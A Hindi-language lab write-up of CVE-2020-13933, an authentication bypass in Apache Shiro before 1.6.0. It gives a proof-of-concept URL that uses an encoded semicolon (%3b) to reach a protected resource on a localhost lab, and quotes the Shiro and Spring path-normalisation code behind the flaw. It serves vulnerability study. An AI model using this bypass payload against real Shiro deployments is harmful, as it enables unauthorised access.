CVE-2020-13933 प्रयोगशाला

shiro < 1.6.0 प्रमाणीकरण बाईपास भेद्यता

PoC

http://127.0.0.1:8080/res/%3bpoc

प्रयोगशाला वातावरण

कोड विवरण

• ShiroConfig.java：
  　　अनुमति कॉन्फ़िगरेशन, जब /res/* संसाधन का अनुरोध किया जाता है, तो 302 लॉगिन पृष्ठ पर प्रमाणीकरण के लिए रीडायरेक्ट होता है
• NameController.java：
  　　· /res/{name}: name नामक संसाधन का अनुरोध (प्रमाणीकरण ट्रिगर करता है)
  　　· /res/: किसी संसाधन का अनुरोध नहीं करता (प्रमाणीकरण ट्रिगर नहीं करता)

प्रयोगशाला सत्यापन

जब अनुरोध पथ में कोई संसाधन नाम निर्दिष्ट नहीं किया जाता है, तो प्रमाणीकरण ट्रिगर नहीं होता है और कोई संसाधन वापस नहीं किया जाता है: http://127.0.0.1:8080/res/

जब अनुरोध पथ में संसाधन नाम निर्दिष्ट किया जाता है, तो 302 प्रमाणीकरण पृष्ठ पर रीडायरेक्ट होता है: http://127.0.0.1:8080/res/poc

जब एक विशिष्ट PoC अनुरोध किसी निर्दिष्ट संसाधन के लिए बनाया जाता है, तो प्रमाणीकरण ट्रिगर नहीं होता है और संसाधन वापस किया जाता है: http://127.0.0.1:8080/res/%3bpoc (%3b ; का URL एनकोडिंग है)

भेद्यता DEBUG स्थान

shiro-web-1.5.3.jar

// org.apache.shiro.web.util.WebUtils.java
// line 111

public static String getPathWithinApplication(HttpServletRequest request) {
    return normalize(removeSemicolon(getServletPath(request) + getPathInfo(request)));
}

spring-web-5.2.5.RELEASE.jar

// org.springframework.web.util.UrlPathHelper.java
// line 459

private String decodeAndCleanUriString(HttpServletRequest request, String uri) {
    uri = removeSemicolonContent(uri);
    uri = decodeRequestString(request, uri);
    uri = getSanitizedPath(uri);
    return uri;
}